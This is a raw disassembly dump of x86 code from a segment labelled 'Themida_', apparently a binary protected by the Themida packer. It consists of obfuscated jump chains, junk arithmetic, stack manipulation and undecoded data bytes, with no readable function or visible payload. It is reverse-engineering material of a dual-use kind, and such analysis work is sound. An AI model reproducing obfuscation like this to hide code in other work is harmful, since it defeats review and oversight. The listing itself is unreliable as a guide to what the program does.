45B3241Ch, 8904EC83h, 51662404h, 0CC8860B1h, 0C3805966h dd 80E3288Ah, 0E4E98AEBh, 0B9FFFFA7h, 17A03B47h, 2E9C141h dd 0F132C181h, 0CF89FA17h, 5FFD0159h, 4ED81h, 2C870000h dd 24895C24h, 7C6FE924h, 0D5F7FFFFh, 6385E957h, 248B0000h dd 51BE5624h, 1449F38h, 24348BF0h, 363368h, 242C8900h dd 0C5815D54h, 4, 760DBB53h, 0F3817C96h, 0A6D070Ch, 7105F381h dd 0DD0176FBh, 7038E9h db 0 ; --------------------------------------------------------------------------- loc_50BFDD: ; CODE XREF: Themida_:0050BC09j pop edi not ebp push esi mov esi, 4C3D0867h jmp loc_50ED5B ; --------------------------------------------------------------------------- db 0ADh dd 81E78957h, 4C7h, 4BA5200h, 29000000h, 3C335AD7h, 243C3124h dd 0E9243C33h, 0FFFFA51Eh, 0C5815D54h, 4, 10BB5352h, 811A0967h dd 55678BE3h, 0FCEB8156h, 89120166h, 42E95BDAh db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50C02F: ; CODE XREF: Themida_:00512A19j push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_50983C ; --------------------------------------------------------------------------- loc_50C03D: ; CODE XREF: Themida_:005034DAj pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov cx, [esp] jmp loc_5085DE ; --------------------------------------------------------------------------- db 5Dh dd 8105EDC1h, 605255E5h, 38C58151h, 0E95B8F6Bh, 0FFFF4772h ; --------------------------------------------------------------------------- loc_50C070: ; CODE XREF: Themida_:00514702j mov cl, al mov bl, cl mov ecx, [esp] add esp, 4 mov eax, [esp] add esp, 4 add dl, bl mov bx, [esp] add esp, 2 and dl, 4Eh xor dl, 69h sub esp, 4 mov [esp], ebx push edx mov dl, 0B3h jmp loc_50AA64 ; --------------------------------------------------------------------------- db 59h dd 0B542E950h, 0C681FFFFh, 0F78E38Fh, 0FFBCB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_50C0B5: ; CODE XREF: Themida_:0050F766j and edi, edx mov edx, [esp] push ecx jmp loc_50ACF3 ; --------------------------------------------------------------------------- loc_50C0C0: ; CODE XREF: Themida_:0050274Ej add ebp, eax pop eax jmp loc_51457C ; --------------------------------------------------------------------------- loc_50C0C8: ; CODE XREF: Themida_:00500A41j sub edi, 31111DEEh mov ebx, [esp] add esp, 4 push esi mov esi, 350E06F1h sub ebp, esi pop esi add ebp, edi add ebp, 350E06F1h pop edi push edi mov edi, esp push esi jmp loc_50FF14 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4BB5300h, 1000000h, 34875BDEh, 7E95C24h, 83FFFFD8h dd 348704EEh, 0C2E95C24h, 54FFFF79h, 5A81E95Dh, 3C890000h dd 8C23E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C122: ; CODE XREF: Themida_:00510B34j pop ebx push eax mov eax, 4 sub ebx, 34584498h push 1454h mov [esp], edi jmp loc_500AF4 ; --------------------------------------------------------------------------- dd 3E80C981h, 0C1815421h, 0B2326BDh, 98E9CD21h, 51FFFFC2h dd 0D9F6BEB1h, 0FFD709E9h db 0FFh ; --------------------------------------------------------------------------- loc_50C159: ; CODE XREF: Themida_:004FFCE7j sub ecx, 0E2876ECh add ecx, edi add ecx, 0E2876ECh pop edi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push edx mov edx, esp add edx, 4 jmp loc_504CA4 ; --------------------------------------------------------------------------- loc_50C182: ; CODE XREF: Themida_:0050D221j xor ebx, 7D8B77E8h add ebx, 0FFFFFFFFh push eax mov eax, 47E12694h jmp loc_50CB7F ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C3h dd 3DB3E98h, 0EB81D301h, 3DB3E98h, 8124148Bh, 4C4h, 79BA5200h dd 292F9E24h, 0D8315AD3h, 5EBD555Bh, 506E4F7Ah, 881F05B8h dd 0E604E906h, 5452FFFFh, 0CBE9555Ah, 0BFFFFF57h, 3D2D0483h dd 0E9DFF74Fh, 53B3h ; --------------------------------------------------------------------------- loc_50C1E4: ; CODE XREF: Themida_:0050EFB4j mov [esp], ebx push 2A5Ah mov [esp], edi push ebp mov ebp, 16C11863h mov edi, ebp jmp loc_509BAE ; --------------------------------------------------------------------------- loc_50C1FC: ; CODE XREF: Themida_:0050E395j sub bh, 0B7h jmp loc_511D67 ; --------------------------------------------------------------------------- loc_50C204: ; CODE XREF: Themida_:0050867Bj push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 jmp loc_5038E3 ; --------------------------------------------------------------------------- db 0C1h, 0E7h, 8 dd 0FF98E4E9h db 0FFh ; --------------------------------------------------------------------------- loc_50C21D: ; CODE XREF: Themida_:005145B6j mov [esp], ebp mov ebp, eax mov ebx, ebp pop ebp mov eax, [esp] add esp, 4 push esi mov esi, 30662069h add esi, 0FFFFFFFFh add esi, 16681F15h sub ebx, esi pop esi add ebx, edx push esi push ebp push 4BEh mov [esp], eax mov eax, 2855501Eh inc eax dec eax xor eax, 121A3D53h mov ebp, eax pop eax mov esi, 811DACCAh sub esi, ebp pop ebp jmp loc_514736 ; --------------------------------------------------------------------------- aBGcqgsp db 'gCqg|',0 align 2 loc_50C276: ; CODE XREF: Themida_:005116AEj not ebx or ebx, 183077FBh push ecx jmp loc_503734 ; --------------------------------------------------------------------------- dd 3D2BF681h, 0EE834D68h, 0C2C68101h, 0C152BA0Ch, 0F68105E6h dd 481E9E2Ah, 505EF509h, 0FF6BB6E9h, 2C481FFh, 53000000h dd 0FF639CE9h db 0FFh ; --------------------------------------------------------------------------- loc_50C2B1: ; CODE XREF: Themida_:0050BB53j sub esi, 3FE3A7Eh mov ebp, esi pop esi or ebp, 41AE1490h jmp loc_5024D3 ; --------------------------------------------------------------------------- db 1, 0C2h, 0E9h dd 1BDEh ; --------------------------------------------------------------------------- loc_50C2CC: ; CODE XREF: Themida_:00508A03j mov cl, 0C0h mov dl, cl pop ecx shl dl, 7 neg dl jmp loc_50D3DF ; --------------------------------------------------------------------------- db 0FFh a4Suj db '4$J',0 dw 5200h dd 0C281E289h, 4, 4C281h, 14870000h, 4F3E924h, 54500000h dd 582434FFh, 5204C483h, 0FF5E5AE9h, 0B1EE81FFh, 8174A913h dd 24DB1EEh, 0BE565386h, 458164B3h, 0FFB8B5E9h, 58C731FFh dd 0BD55DFF7h, 186D17B2h, 3723E581h, 0C5816906h, 3BAE697Eh dd 1DFBED81h, 0E5C11404h, 8C58104h, 31CA4A66h, 0F8015DEFh dd 2DD8295Fh, 3EE356A5h, 30FDBA52h, 43052CB7h, 57F9747h dd 32F761B4h, 0FF508AE9h db 0FFh ; --------------------------------------------------------------------------- loc_50C369: ; CODE XREF: Themida_:00509B21j push dword ptr [edi+eax*4] jmp loc_5066B7 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 0E9000000h, 0FFFF9372h, 5404E953h, 3489FFFFh, 4EC8324h dd 0E9241C89h, 0FFFF5D19h, 0C380C3FEh, 5BD800F9h, 2434FF5Bh dd 592434FFh, 8304C483h, 53E904C4h, 66FFFFB1h, 0E9242C87h dd 0FFFF9C61h, 9C241CF7h, 0FF3459E9h, 24248BFFh, 6824048Bh dd 5A45h, 0FFD033E9h, 24348BFFh, 0FF89C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_50C3D5: ; CODE XREF: Themida_:00503F70j pop esp push 4756h mov [esp], edi mov edi, 4 sub ebx, 65654642h sub ebx, edi add ebx, 65654642h pop edi xchg ebx, [esp] pop esp mov [esp], edx push eax pushf jmp loc_511B6E ; --------------------------------------------------------------------------- dd 0E905E1C1h, 0FFFF3FDDh ; --------------------------------------------------------------------------- loc_50C408: ; CODE XREF: Themida_:00504165j sub esp, 4 mov [esp], ecx push esp pop ecx push edx jmp loc_50A579 ; --------------------------------------------------------------------------- db 40h, 0E9h, 47h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C41F: ; CODE XREF: Themida_:00503D21j mov [esp], ecx push esi push 6D862CE1h mov esi, [esp] add esp, 4 shl esi, 3 push edx mov edx, 2D383FF8h xor esi, edx pop edx mov ecx, esi pop esi jmp loc_5039CA ; --------------------------------------------------------------------------- loc_50C445: ; CODE XREF: Themida_:0051104Ej sub esp, 4 jmp loc_50751E ; --------------------------------------------------------------------------- db 68h, 0F8h, 49h dd 348B6293h, 4C48124h, 0E9000000h, 0FFFF8748h, 0FF2434FFh dd 0E9582434h, 6430h, 0C581E589h, 4, 8704ED83h, 248B242Ch dd 64AEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50C482: ; CODE XREF: Themida_:005114F7j mov ecx, 22752638h dec ecx inc ecx jmp loc_5057AF ; --------------------------------------------------------------------------- loc_50C48E: ; CODE XREF: Themida_:00502D3Bj and eax, 12C5729Ch jmp loc_5053C0 ; --------------------------------------------------------------------------- loc_50C498: ; CODE XREF: Themida_:0050AFBCj xchg eax, [esp] pop esp xchg esi, [esp] pop esp push 494Fh jmp loc_503D71 ; --------------------------------------------------------------------------- aYsY db ')Y/Y',0 align 2 loc_50C4B2: ; CODE XREF: Themida_:00508215j mov eax, 5A564FE0h add eax, 25E07E9Eh sub eax, 0F6A480Ah sub eax, 1CA133C8h or esi, eax jmp loc_5010D9 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 55000000h, 4BDh, 3689E900h, 4330000h, 684FE924h, 0C1810000h dd 57135B13h, 0E981F929h, 57135B13h, 52243C8Bh, 0C281E289h dd 4, 4C281h, 6AE90000h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C50B: ; CODE XREF: Themida_:00502B90j push ebp mov ebp, 4 add dword ptr [esp+4], 26D7242h add [esp+4], ebp sub dword ptr [esp+4], 26D7242h pop ebp pop ebp add ebp, 4 push esi jmp loc_5133EA ; --------------------------------------------------------------------------- db 81h dd 384D47C7h, 5FF90182h, 0E981D129h, 716B0746h, 304EE95Ah dd 0C3810000h, 537C0F12h, 4768CB29h, 0E900001Dh, 0FFFFF9A5h ; --------------------------------------------------------------------------- loc_50C55C: ; CODE XREF: Themida_:00513437j sub esp, 4 mov [esp], ebp mov ebp, 290E3432h shl ebp, 2 xor ebp, 3FA3DA1h push edi jmp loc_50D744 ; --------------------------------------------------------------------------- db 28h, 0C3h, 58h dd 6671EB80h, 0E924148Bh, 0FFFF579Ah, 5C241487h, 3284E95Ah dd 77FFFFFFh, 59669D1Ch, 2414D366h, 3274E99Ch, 0E957FFFFh dd 0FFFFCA9Fh, 8B2434FFh, 0EC812434h, 4, 89243489h, 4B951E6h dd 1000000h, 0C68159CEh, 4, 31243433h, 34332434h, 33685C24h dd 89000024h, 0E9542434h, 0FFFF40F0h ; --------------------------------------------------------------------------- loc_50C5E0: ; CODE XREF: Themida_:0050CC9Fj pop ebx add ecx, esi mov esi, [esp] push esi mov esi, esp push ebp mov ebp, 1C2D1414h add ebp, 0E3D2EBF0h jmp loc_514CC1 ; --------------------------------------------------------------------------- aYXsM db 'Y(Xm',0 db 0 ; --------------------------------------------------------------------------- loc_50C603: ; CODE XREF: Themida_:0050D2C5j push dword ptr [esp] jmp loc_50EB10 ; --------------------------------------------------------------------------- db 5Eh dd 8101C683h, 0F32921C6h, 0E95956D9h, 0A61h, 0BE243489h dd 3D8B72DDh, 8102EEC1h, 3E18BCC6h, 9008E965h, 8B66FFFFh dd 8E68240Ch, 89000079h, 58542404h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push edx mov edx, 4 mov ebx, edx pop edx jmp loc_505252 ; --------------------------------------------------------------------------- loc_50C664: ; CODE XREF: Themida_:00502042j push ebp mov ebp, 588D635Dh or edi, ebp pop ebp jmp loc_512AA6 ; --------------------------------------------------------------------------- loc_50C672: ; CODE XREF: Themida_:0050D2F2j mov esi, esp add esi, 4 push 3216h mov [esp], ebx mov ebx, 2A1B3D04h jmp loc_509B43 ; --------------------------------------------------------------------------- dd 4C481h, 0BFE90000h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C697: ; CODE XREF: Themida_:005028EDj mov edx, 0 sub edx, ebx mov ebx, edx pop edx add ebx, 0E5211052h jmp loc_507370 ; --------------------------------------------------------------------------- dd 1DEE814Eh, 0E95BAA6Ch, 0FFFFC137h, 9F83C281h, 0C681FFBFh dd 2B717AA7h, 9D6E9h db 0 ; --------------------------------------------------------------------------- loc_50C6C9: ; CODE XREF: Themida_:00507C59j mov edx, esp add edx, 4 jmp loc_50743B ; --------------------------------------------------------------------------- loc_50C6D6: ; CODE XREF: Themida_:00503BE9j pop eax add eax, 3D6F2Bh jmp loc_512C89 ; --------------------------------------------------------------------------- loc_50C6E1: ; CODE XREF: Themida_:00512D12j not ebx xor [esp], ebx xor ebx, [esp] xor [esp], ebx push dword ptr [esp] jmp loc_508426 ; --------------------------------------------------------------------------- dd 1DE9D800h, 66000087h, 8324048Bh, 0C6E904ECh db 44h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C707: ; CODE XREF: Themida_:0050886Dj push edi mov edi, 70F00E15h mov ebx, edi jmp loc_5116AA ; --------------------------------------------------------------------------- dd 5204C483h, 4BAh, 8BD50100h, 0C4832414h, 51FFE904h, 53590000h dd 26855h, 895D0000h, 242C8BEBh, 2904C483h, 2434FFD8h dd 83241C8Bh, 895204C4h, 0CAA1E9E2h, 895FFFFFh, 240C8BCEh dd 5004C483h, 245DA1B8h, 8BC70145h, 88E92404h, 66000043h dd 83240C8Bh, 9BE904ECh db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C773: ; CODE XREF: Themida_:0050BC3Aj xor ecx, edi pop edi add ebx, ecx pop ecx jmp loc_512EA7 ; --------------------------------------------------------------------------- dw 50B4h dd 0D4F6C4FEh, 809CCC80h, 0E78894C4h, 25E7E9h, 5BD82800h dd 0FF972DE9h db 0FFh ; --------------------------------------------------------------------------- loc_50C799: ; CODE XREF: Themida_:00513764j pop edx add esp, 4 sub esp, 2 mov [esp], ax push ecx mov cl, 1Ch push edx jmp loc_51296C ; --------------------------------------------------------------------------- db 81h, 0E1h, 0E5h dd 8101C875h, 805FFCE9h, 59CF0101h, 4BA52h, 0D7010000h dd 74FF575Ah, 8F5F0424h, 335C2404h, 14312414h, 24143324h dd 15D9E9h, 24048B00h, 8904EC83h, 0E389241Ch, 6FC3E9h dd 29665C00h, 0E95F66F8h, 48A8h, 0E0BA5253h, 0E9198A72h dd 3880h, 405h, 24048700h, 544DE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_50C812: ; CODE XREF: Themida_:0050DF9Dj pop eax add esp, 4 push ecx jmp loc_5105DA ; --------------------------------------------------------------------------- dd 0EB81DBF7h, 0A210CC21h, 875BDF01h, 248B243Ch, 7ABE5624h dd 4E44E855h, 4EC81h, 14890000h, 0EBA24h, 0F2816468h, 59FC362Dh dd 6E9D601h, 81FFFFE6h, 4ECh, 24148900h, 0FFC964E9h, 0C8966FFh dd 84D6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50C866: ; CODE XREF: Themida_:00503B1Fj and eax, ebp push dword ptr [esp] mov ebp, [esp] push 75E7h mov [esp], ebp push esp mov ebp, [esp] add esp, 4 jmp loc_514E2B ; --------------------------------------------------------------------------- dw 8197h dd 0A0D65CFh, 0E7814F0Ah, 2861042Ah, 0FF9566E9h db 0FFh ; --------------------------------------------------------------------------- loc_50C895: ; CODE XREF: Themida_:00500893j mov ecx, 4 add [esp+4], ecx jmp loc_513CBA ; --------------------------------------------------------------------------- loc_50C8A3: ; CODE XREF: Themida_:00505259j add eax, 612E7D5Ch pop ebx push ebp mov ebp, 2 sub eax, 8ED53EDh add eax, ebp add eax, 8ED53EDh jmp loc_508680 ; --------------------------------------------------------------------------- dd 3E1C15Bh, 0B3E9D1F7h, 29FFFFBBh, 815959CEh, 37232FC6h dd 242DE90Fh, 0C1830000h, 240C8704h, 0C175E95Ch, 815EFFFFh dd 3A2D22F2h, 20C28144h, 816A81B8h, 7A2503EEh, 81D6295Eh dd 7A2503C6h, 0EC815A5Eh, 4, 419BE9h, 4EDC000h, 0A5B15153h dd 0CB00F5B3h, 5BDD0059h, 0B753CDFEh, 8EFC067h, 8004E7C0h dd 0FD30C7C7h, 0F6DDF65Bh, 0E4ED80D5h, 0C5E9EA88h, 81FFFF69h dd 0F82669EDh, 2C875930h, 0EC815C24h, 4, 54242C89h, 0BB53565Dh dd 7A926B3Ch, 1C8BDE89h, 4C48324h, 6ADDC681h, 0D6F767E5h dd 0FF90D7E9h, 58E330FFh, 805BDC28h, 0E10073C1h, 0FF61E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_50C97D: ; CODE XREF: Themida_:00507E47j add esp, 4 mov edi, [esp] add esp, 4 jmp loc_50A6F8 ; --------------------------------------------------------------------------- loc_50C991: ; CODE XREF: Themida_:00503BD4j pop edi pop ebp add edx, 829F921Ch add edi, 3725399h sub edi, 54A5720Ch add edi, edx add edi, 54A5720Ch sub edi, 3725399h pop edx and eax, edi pop edi shr eax, 10h xor eax, ecx xor eax, edi xor edi, eax xor eax, edi xor edi, ebx xor ebx, edi jmp loc_507D12 ; --------------------------------------------------------------------------- loc_50C9CB: ; CODE XREF: Themida_:005069FAj xchg ebx, [esp] pop esp push ebp mov ebp, 18F25507h jmp loc_51334B ; --------------------------------------------------------------------------- loc_50C9DA: ; CODE XREF: Themida_:0050B061j sub esi, 0CE853F41h jmp loc_507877 ; --------------------------------------------------------------------------- loc_50C9E5: ; CODE XREF: Themida_:00502531j push ebx mov ebx, 0B7A4238h or eax, ebx pop ebx add eax, 4A170F5h xor eax, 0F00CB83h mov edx, eax pop eax sub edx, 71D36727h jmp loc_5022A6 ; --------------------------------------------------------------------------- loc_50CA06: ; CODE XREF: Themida_:0050DD76j pop ebx mov eax, [esp] jmp loc_5046EA ; --------------------------------------------------------------------------- loc_50CA0F: ; CODE XREF: Themida_:00503C93j mov edi, 2CAD5EA8h not edi jmp loc_50DB95 ; --------------------------------------------------------------------------- db 81h dd 487D36EAh, 5AD50125h, 1482C381h, 0EB2918DAh, 1482EB81h dd 2C8B18DAh, 4C48124h, 50000000h, 5A7DE9B8h, 0F9C3815Ah dd 29300F18h, 0F9B951C3h, 0E9300F18h, 0FFFF317Dh, 0D800B9B3h dd 57241C8Bh, 0C781E789h, 4, 0FF9942E9h db 0FFh ; --------------------------------------------------------------------------- loc_50CA69: ; CODE XREF: Themida_:00511AA6j mov eax, [esp] push ecx push esp pop ecx jmp loc_501A76 ; --------------------------------------------------------------------------- loc_50CA74: ; CODE XREF: Themida_:00501D1Dj pop edi xor eax, esi push dword ptr [esp] jmp loc_509B6E ; --------------------------------------------------------------------------- db 89h dd 8EBE2434h, 811B6743h, 0F40553C1h, 0F7D9E962h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50CA92: ; CODE XREF: Themida_:0050614Fj add ebx, edi push dword ptr [esp] jmp loc_510D90 ; --------------------------------------------------------------------------- dd 8904EC83h, 0F4682414h, 0FF1EEA1Fh, 34FF2434h, 0C4815A24h dd 4, 0FF721AE9h db 0FFh ; --------------------------------------------------------------------------- loc_50CAB9: ; CODE XREF: Themida_:005092C0j xor ebx, 2E6A08B3h add edi, ebx pop ebx neg edi sub edi, 30A4E404h add ebx, 8DA5871h sub ebx, edi sub ebx, 8DA5871h pop edi sub ebx, 24C836CEh add ebx, edi add ebx, 24C836CEh add ebx, 4A4837A2h pop edi jmp loc_504A54 ; --------------------------------------------------------------------------- db 31h dd 31D031C2h, 4CF281C2h, 50209955h, 5969E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50CB06: ; CODE XREF: Themida_:0051219Fj add edx, 2C2E2083h jmp loc_51290D ; --------------------------------------------------------------------------- db 25h, 0C4h, 28h dd 0D0F7239Dh, 5672A205h, 6777E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50CB22: ; CODE XREF: Themida_:00501DB2j push ecx mov ecx, 44093734h or ecx, 3F0624EBh xor ecx, 79C6534Dh not ecx or ecx, 41441A59h shl ecx, 4 xor ecx, 0D8F084ACh jmp loc_512A46 ; --------------------------------------------------------------------------- loc_50CB4A: ; CODE XREF: Themida_:0050EEF2j jmp loc_4FF816 ; --------------------------------------------------------------------------- aEstv db ']Ev',0 align 2 dw 0F381h dd 1330D2Ch, 815BD931h, 8F6CA3C1h, 4DE95607h db 3 dup(0) ; --------------------------------------------------------------------------- loc_50CB6B: ; CODE XREF: Themida_:0050476Ej shl edx, 1 push 4E68h mov [esp], edx mov edx, 24h jmp loc_50E4C6 ; --------------------------------------------------------------------------- loc_50CB7F: ; CODE XREF: Themida_:0050C194j xor ebx, eax pop eax mov edi, ebx jmp loc_504B97 ; --------------------------------------------------------------------------- db 50h, 0B8h, 64h dd 2517BD30h, 422B1E58h, 641D0D40h, 143523C2h, 291DAF5Bh dd 0FA3158C7h, 0E9243C8Bh, 0FFFF523Ch ; --------------------------------------------------------------------------- loc_50CBAC: ; CODE XREF: Themida_:005013B6j sub edx, 2EAA0207h pop eax jmp loc_5040D4 ; --------------------------------------------------------------------------- dd 0E964FABEh, 0EAEE812Ah, 0E919C838h, 46C1h, 405E089h dd 0E9000000h, 0FFFFC6DAh, 592434FFh, 81E28952h, 4C2h dd 4C28100h, 87000000h, 248B2414h, 0EB9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50CBF2: ; CODE XREF: Themida_:0050F4C7j push ebx pop eax pop ebx mov ebx, eax mov eax, [esp] add esp, 4 sub ebx, 67A67BA9h add ebx, eax xor [ebx], ecx jmp loc_51400A ; --------------------------------------------------------------------------- loc_50CC0F: ; CODE XREF: Themida_:0050DEEBj add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_50672D ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 53h dd 3B1DCCBBh, 0B4EF815Bh, 143CB12h, 0B4C781DFh, 5B43CB12h dd 13EE9h db 0 ; --------------------------------------------------------------------------- loc_50CC45: ; CODE XREF: Themida_:00504173j add esp, 4 xor esi, 3CF10FC6h jmp loc_5055CA ; --------------------------------------------------------------------------- dw 0D589h dd 2434FF5Ah, 0FF66EDE9h db 0FFh ; --------------------------------------------------------------------------- loc_50CC61: ; CODE XREF: Themida_:0050D73Fj mov [esp], ebp jmp loc_50D2CA ; --------------------------------------------------------------------------- loc_50CC69: ; CODE XREF: Themida_:0050BA5Dj pop ebp push eax jmp loc_500D79 ; --------------------------------------------------------------------------- dd 0E781DFF7h, 60276841h, 1F94F781h, 0F82923D2h, 0FF39FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_50CC85: ; CODE XREF: Themida_:0050A59Aj mov ebx, 2143687Fh add ebx, 0DEBC9785h push ebx xor dword ptr [esp], 241D59DFh pop esi xor esi, 241D59DFh jmp loc_50C5E0 ; --------------------------------------------------------------------------- aM0HB db '0hb',0 align 4 dd 52240C89h, 0C281E289h, 4, 1C15E9h db 0 ; --------------------------------------------------------------------------- loc_50CCBD: ; CODE XREF: Themida_:00501849j xor ebx, 6FEF7C98h and eax, ebx pop ebx or eax, eax jz loc_514A89 push dword ptr [edi+1Ch] jmp loc_50A35B ; --------------------------------------------------------------------------- loc_50CCD6: ; CODE XREF: Themida_:005039AEj mov [esp], edi mov edi, 151D5250h push 0 jmp loc_50BC27 ; --------------------------------------------------------------------------- loc_50CCE8: ; CODE XREF: Themida_:00503709j add eax, 4 add eax, 4 xor eax, [esp] jmp loc_50A943 ; --------------------------------------------------------------------------- dd 0F380C3FEh, 59DEE9C5h, 0E689FFFFh, 4BB53h, 0DE010000h dd 4BF575Bh, 29000000h, 0FF565FFEh, 0FF042474h, 815E2434h dd 4C4h, 24048F00h, 242C895Ch, 9D68E589h, 0E9000001h, 0FFFF6A4Ah dd 5324048Bh, 0C381E389h, 4, 0E904EB83h, 303h, 0C2AC581h dd 0EA89F725h, 0FF3B0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_50CD59: ; CODE XREF: Themida_:0050B325j add edi, ecx pop ecx jmp loc_506A22 ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 74010000h, 8B5E0424h, 8956242Ch, 4C681E6h, 0E9000000h dd 0FFFFE526h, 8DE9E801h, 81000019h, 0DD4D17EFh, 3DC7810Ch dd 508EF7ADh, 4E2DE1B8h, 2410250Ah, 2005353Ah, 83028257h dd 372DFFC0h, 29FD1874h, 0BA5258C5h, 1FC0490Ch, 7708CA81h dd 0C28152C3h, 1, 0F705EAC1h, 0EAF281DAh, 1AAF8FEh, 0CEE95AD5h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50CDCF: ; CODE XREF: Themida_:0050354Ej mov [esp], edi sub esp, 4 jmp loc_505A55 ; --------------------------------------------------------------------------- dw 868h dd 8900001Bh, 0C188240Ch, 424448Ah, 4244C88h, 83240C8Bh dd 0EC8304C4h, 0C896602h, 62926824h, 14890000h, 5F685124h dd 0E900003Bh, 3253h, 0FF2A05E9h db 0FFh ; --------------------------------------------------------------------------- loc_50CE11: ; CODE XREF: Themida_:00505C0Aj add edx, ebp jmp loc_500A46 ; --------------------------------------------------------------------------- loc_50CE18: ; CODE XREF: Themida_:0050E4D4j sub edx, 129236C4h jmp loc_51287A ; --------------------------------------------------------------------------- db 8Bh dd 8B662424h, 0D7682404h, 89000032h, 18E9242Ch db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50CE37: ; CODE XREF: Themida_:0050DA51j push eax mov eax, esp sub esp, 4 mov [esp], edi mov edi, 6DCF567Eh inc edi sub edi, 1 push edx mov edx, 63EC2A82h jmp loc_51494C ; --------------------------------------------------------------------------- db 0B9h dd 4, 0C8BCA01h, 4C48324h, 2B0768h, 243C8900h, 4DB7E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50CE72: ; CODE XREF: Themida_:005050CEj mov esi, 597C6D74h mov edi, esi jmp loc_50D359 ; --------------------------------------------------------------------------- loc_50CE7E: ; CODE XREF: Themida_:00506540j push edx mov edx, 0 add edx, ecx add eax, [edx] push dword ptr [esp] mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_50F1B7 ; --------------------------------------------------------------------------- dw 0BF2Ch dd 0C8B665Ah, 0F3F7E924h, 0D300FFFFh, 0FFA5B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_50CEB5: ; CODE XREF: Themida_:0051036Ej mov [esp], ebx sub esp, 4 mov [esp], eax push dword ptr [esp] mov ebx, [esp] jmp loc_512870 ; --------------------------------------------------------------------------- dd 0E9B9F580h, 0FFFF39FDh ; --------------------------------------------------------------------------- loc_50CED4: ; CODE XREF: Themida_:00510986j xchg edx, [esp] pop esp shr ecx, 0Bh jmp loc_513D3F ; --------------------------------------------------------------------------- loc_50CEE0: ; CODE XREF: Themida_:00503E32j shr edi, 6 or edi, 60BB0F9Fh push esi jmp loc_507B87 ; --------------------------------------------------------------------------- db 0C1h dd 0BD5508E6h, 4BD578FFh, 5C37CD81h, 0DBE96F3Eh, 83FFFFE2h dd 0E95202C2h, 0FFFF6B49h ; --------------------------------------------------------------------------- loc_50CF0C: ; CODE XREF: Themida_:0050D94Cj mov [esp], edx mov edx, 34185F9Bh jmp loc_502D53 ; --------------------------------------------------------------------------- loc_50CF19: ; CODE XREF: Themida_:0050604Aj mov edx, [esp] add esp, 4 xor ecx, 2D8A312Bh jmp loc_509B87 ; --------------------------------------------------------------------------- loc_50CF2A: ; CODE XREF: Themida_:0051142Aj mov esp, [esp] push 19E0h mov [esp], ebp push esp pop ebp add ebp, 4 push ecx mov ecx, 4C7B0A58h xor ecx, 2B13526Ch xor ecx, 8BF42CFh and ecx, 4A633A5h push 7C06h jmp loc_5115E5 ; --------------------------------------------------------------------------- db 0BFh dd 81A626Bh, 25E9FB09h, 8100003Fh, 0EF6188F2h, 7966E932h dd 0F7660000h, 54D4E9DEh, 0F2810000h, 39074656h, 15AD301h dd 0CEEB81D3h, 5A436925h, 83E5C381h, 0DF311556h, 83241C8Bh dd 0CF8104C4h, 0CD16921h, 6C75E9h, 58C70100h, 0FF8B3EE9h dd 13F581FFh, 0F749EF5Bh, 70F581DDh, 1C02C7Ah, 0F5015DEEh dd 4C5815Eh, 87000000h, 0FF5C242Ch, 148B2434h, 4C48324h dd 662968h, 24348900h, 1BA968h, 48F5400h, 24048324h, 57E95E04h dd 30FFFF4Ch, 241C8BFDh, 4C481h, 0F0E90000h, 29FFFF46h dd 24148BD0h, 4C481h, 0F8290000h, 0D445D005h, 2434FF2Bh dd 0FF6779E9h, 29665EFFh, 590566F0h, 348B662Bh, 2C48324h dd 4EC81h, 2C890000h, 5EBD6624h, 96ADE912h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D03E: ; CODE XREF: Themida_:0050D5B7j xchg edx, [esp] pop esp jmp loc_510037 ; --------------------------------------------------------------------------- db 29h dd 0B0E958C3h, 87FFFF73h, 895C241Ch, 0E957242Ch, 211Fh ; --------------------------------------------------------------------------- loc_50D05C: ; CODE XREF: Themida_:00510679j mov edi, 16A84423h jmp loc_509513 ; --------------------------------------------------------------------------- loc_50D066: ; CODE XREF: Themida_:00509A53j xor bl, al movzx eax, al push dword ptr [edi+eax*4] xor dword ptr [esp], 72B509F1h mov eax, [esp] jmp loc_510FF6 ; --------------------------------------------------------------------------- db 5Eh, 0F7h, 0D9h dd 2C19E9h, 62EB6800h, 34890000h, 2C90E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50D092: ; CODE XREF: Themida_:00501A69j add ecx, ebx sub ecx, 102C205Eh 